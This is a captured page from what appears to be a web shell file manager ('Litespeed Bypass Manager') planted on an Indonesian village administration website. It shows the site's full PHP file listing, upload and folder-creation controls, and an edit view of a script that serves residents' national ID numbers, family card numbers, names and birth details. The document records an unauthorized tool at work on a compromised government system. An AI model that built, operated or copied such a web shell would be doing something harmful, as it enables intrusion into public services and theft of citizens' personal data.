Litespeed kontol

Isi Folder

📁 TemplateFolder
📁 assetsFolder
📁 assets2Folder
📁 calenderFolder
📁 ckeditorFolder
📁 cssFolder
📁 datatablesFolder
📁 fontsFolder
📁 imagesFolder
📁 includesFolder
📁 jsFolder
📁 leafletFolder
📁 scriptsFolder
📁 spreadsheet-reader-masterFolder
📁 uploadsFolder
📁 vendorFolder
📄 aksi.phpEdit
📄 aksiGetPenduduk.phpEdit
📄 aksiGetPenduduk2.phpEdit
📄 apbdes.phpEdit
📄 artikel.phpEdit
📄 belanja_proses.phpEdit
📄 buat_surat.phpEdit
📄 buat_surat2.phpEdit
📄 cari_penduduk.phpEdit
📄 config.phpEdit
📄 daftar_proses.phpEdit
📄 data.phpEdit
📄 data_surat.phpEdit
📄 error_logEdit
📄 excel_reader.phpEdit
📄 exportexcelindividu.phpEdit
📄 exportexcelkeluarga.phpEdit
📄 exportxls.phpEdit
📄 functions.phpEdit
📄 hapus_artikel_proses.phpEdit
📄 hapus_legal_proses.phpEdit
📄 hapus_lembaga_proses.phpEdit
📄 hapus_profil_proses.phpEdit
📄 hapus_sig_proses.phpEdit
📄 hapus_surat.phpEdit
📄 hapus_user_proses.phpEdit
📄 hidden_aduan_proses.phpEdit
📄 hidden_profil_proses.phpEdit
📄 home.phpEdit
📄 importindividu.phpEdit
📄 importkeluarga.phpEdit
📄 index.phpEdit
📄 individu.phpEdit
📄 keluarga.phpEdit
📄 konfigurasi.phpEdit
📄 laporan_bulan.phpEdit
📄 legal.phpEdit
📄 lembaga.phpEdit
📄 lembaga_proses.phpEdit
📄 lembaga_ubah_proses.phpEdit
📄 logo_proses.phpEdit
📄 modal_detail.phpEdit
📄 modal_disposisi.phpEdit
📄 modal_selesai.phpEdit
📄 modal_tindaklanjut.phpEdit
📄 modal_ubah_anggaran.phpEdit
📄 modal_ubah_artikel.phpEdit
📄 modal_ubah_belanja.phpEdit
📄 modal_ubah_individu.phpEdit
📄 modal_ubah_keluarga.phpEdit
📄 modal_ubah_legal.phpEdit
📄 modal_ubah_lembaga.phpEdit
📄 modal_ubah_profil.phpEdit
📄 modal_ubah_realisasi.phpEdit
📄 modal_ubah_realisasibelanja.phpEdit
📄 modal_ubah_sig.phpEdit
📄 modal_ubah_user.phpEdit
📄 modal_view_individu.phpEdit
📄 modal_view_keluarga.phpEdit
📄 modal_view_mutasipenduduk.phpEdit
📄 modal_view_surat.phpEdit
📄 mutasi_penduduk.phpEdit
📄 notif.jsEdit
📄 notif.phpEdit
📄 notif_pengaduan.phpEdit
📄 notifikasi.phpEdit
📄 pemdes.phpEdit
📄 pendapatan_proses.phpEdit
📄 penduduk_keluar.phpEdit
📄 penduduk_masuk.phpEdit
📄 pengaduan.phpEdit
📄 profil.phpEdit
📄 profil_proses.phpEdit
📄 profil_ubah_proses.phpEdit
📄 proses_konfigurasi.phpEdit
📄 proses_penduduk_keluar.phpEdit
📄 proses_penduduk_masuk.phpEdit
📄 proses_upload.phpEdit
📄 regUser.phpEdit
📄 sig.phpEdit
📄 simpan_surat.phpEdit
📄 surat.phpEdit
📄 surat_aksi.phpEdit
📄 tambah_artikel_proses.phpEdit
📄 tambah_legal_proses.phpEdit
📄 tambah_sig_proses.phpEdit
📄 tampil_aduan_proses.phpEdit
📄 tampil_profil_proses.phpEdit
📄 template_surat.phpEdit
📄 template_surat2.phpEdit
📄 to_xls.phpEdit
📄 ubahDisposisi.phpEdit
📄 ubahPassword.phpEdit
📄 ubahSelesai.phpEdit
📄 ubahStatus_user_proses.phpEdit
📄 ubahTindakan.phpEdit
📄 ubah_artikel_proses.phpEdit
📄 ubah_belanja_proses.phpEdit
📄 ubah_individu_proses.phpEdit
📄 ubah_keluarga_proses.phpEdit
📄 ubah_legal_proses.phpEdit
📄 ubah_pendapatan_proses.phpEdit
📄 ubah_realisasi_proses.phpEdit
📄 ubah_realisasibelanja_proses.phpEdit
📄 ubah_sig_proses.phpEdit
📄 ubah_user_proses.phpEdit
📄 viewBottomProfil.phpEdit
📄 viewTopProfil.phpEdit
📄 viewapbdes.phpEdit
📄 viewartikel.phpEdit
📄 viewbelanja.phpEdit
📄 viewbpd.phpEdit
📄 viewer.phpEdit
📄 viewindividu.phpEdit
📄 viewkeluarga.phpEdit
📄 viewlegal.phpEdit
📄 viewlpmd.phpEdit
📄 viewmutasipenduduk.phpEdit
📄 viewpemdes.phpEdit
📄 viewrealisasi.phpEdit
📄 viewrealisasibelanja.phpEdit
📄 viewsig.phpEdit
📄 viewsuara.phpEdit
📄 viewsurat.phpEdit
📄 viewuser.phpEdit

Edit File: viewindividu.php

<?php
session_start();
include_once '../librari/inc.koneksidb.php';
include_once "../librari/inc.librari.php";

header('Content-Type: application/json');
ini_set('display_errors', 1);
error_reporting(E_ALL);

$requestData = $_REQUEST;

// Kolom-kolom yang bisa diurutkan
$columns = array(
    0 => 'no_ktp',
    1 => 'no_kk',
    2 => 'nama',
    3 => 'agama',
    4 => 't_lahir',
    5 => 'j_kel',
    6 => 'status'
);

// Pencarian (escape input)
$search = "";
if (!empty($requestData['search']['value'])) {
    $search = mysqli_real_escape_string($koneksiDbs2, $requestData['search']['value']);
}

// Kolom & arah pengurutan
$colIndex = isset($requestData['order'][0]['column']) ? intval($requestData['order'][0]['column']) : 2;
$orderColumn = isset($columns[$colIndex]) ? $columns[$colIndex] : 'nama';
$orderDir = (isset($requestData['order'][0]['dir']) && strtolower($requestData['order'][0]['dir']) == 'desc') ? 'DESC' : 'ASC';

// Paging
$start = isset($requestData['start']) ? intval($requestData['start']) : 0;
$length = isset($requestData['length']) ? intval($requestData['length']) : 10;

// 1. Hitung total data tanpa filter
$sqlTotal = "SELECT COUNT(*) FROM warga";
$totalResult = mysqli_query($koneksiDbs2, $sqlTotal);
if (!$totalResult) {
    die("Error total data: " . mysqli_error($koneksiDbs2));
}
$totalData = mysqli_fetch_row($totalResult)[0];

// 2. Query dasar dengan filter pencarian
$sql = "SELECT no_ktp, no_kk, nama, agama, t_lahir, tgl_lahir, j_kel, status FROM warga WHERE 1=1";
if ($search !== "") {
    $sql .= " AND (nama LIKE '%$search%' OR no_ktp LIKE '%$search%' OR no_kk LIKE '%$search%')";
}

// 3. Hitung total data setelah filter (tanpa LIMIT)
$sqlCountFiltered = "SELECT COUNT(*) FROM warga WHERE 1=1";
if ($search !== "") {
    $sqlCountFiltered .= " AND (nama LIKE '%$search%' OR no_ktp LIKE '%$search%' OR no_kk LIKE '%$search%')";
}
$filteredResult = mysqli_query($koneksiDbs2, $sqlCountFiltered);
if (!$filteredResult) {
    die("Error filtered data: " . mysqli_error($koneksiDbs2));
}
$totalFiltered = mysqli_fetch_row($filteredResult)[0];

// 4. Tambahkan order dan limit untuk paging
$sql .= " ORDER BY $orderColumn $orderDir LIMIT $start, $length";

// 5. Query data dengan limit dan order
$query = mysqli_query($koneksiDbs2, $sql);
if (!$query) {
    die("Error query data: " . mysqli_error($koneksiDbs2));
}

// 6. Mapping status dan jenis kelamin
$statusMap = array(
    1 => "Kepala Keluarga", 2 => "Suami", 3 => "Isteri", 4 => "Anak",
    5 => "Menantu", 6 => "Cucu", 7 => "Orang Tua", 8 => "Mertua",
    9 => "Famili Lain", 10 => "Pembantu"
);

$data = array();
$no = $start + 1;

while ($row = mysqli_fetch_assoc($query)) {
    $status = isset($statusMap[$row['status']]) ? $statusMap[$row['status']] : "Lainnya";
    $kelamin = ($row['j_kel'] == 'L') ? 'Laki-laki' : 'Perempuan';

$nestedData = array(
        $no++,
        (string)$row['no_ktp'], // pastikan string agar tidak dalam scientific notation
        $row['no_kk'],
        $row['nama'],
        $row['agama'],
        $row['t_lahir'] . ", " . tgl_eng_to_ind($row['tgl_lahir']),
        $kelamin,
        '',
        $status,
    );

// Tombol aksi
 $hakAkses = isset($_SESSION['hak_akses']) ? $_SESSION['hak_akses'] : '';
 $lihat = '<center><a href="#" id="' . $row['no_ktp'] . '" class="open_modal btn btn-success btn-xs"> Lihat</a></center>';
 $edit = ($hakAkses == 'admin')
 ? '<center><a href="#" id="' . $row['no_ktp'] . '" class="open_edit btn btn-warning btn-xs"> Edit</a></center>'
 : '<center><a href="#" class="btn btn-default btn-xs disabled"> Edit</a></center>';

$nestedData[] = $lihat;
    $nestedData[] = $edit;

$data[] = $nestedData;
}

$json_data = array(
    "draw" => isset($requestData['draw']) ? intval($requestData['draw']) : 1,
    "recordsTotal" => intval($totalData),
    "recordsFiltered" => intval($totalFiltered),
    "data" => $data
);

echo json_encode($json_data);

Catatan: Mengedit file biner tidak disarankan.

Litespeed Bypass Manager

Buat Folder Baru

Upload File

Isi Folder

Edit File: viewindividu.php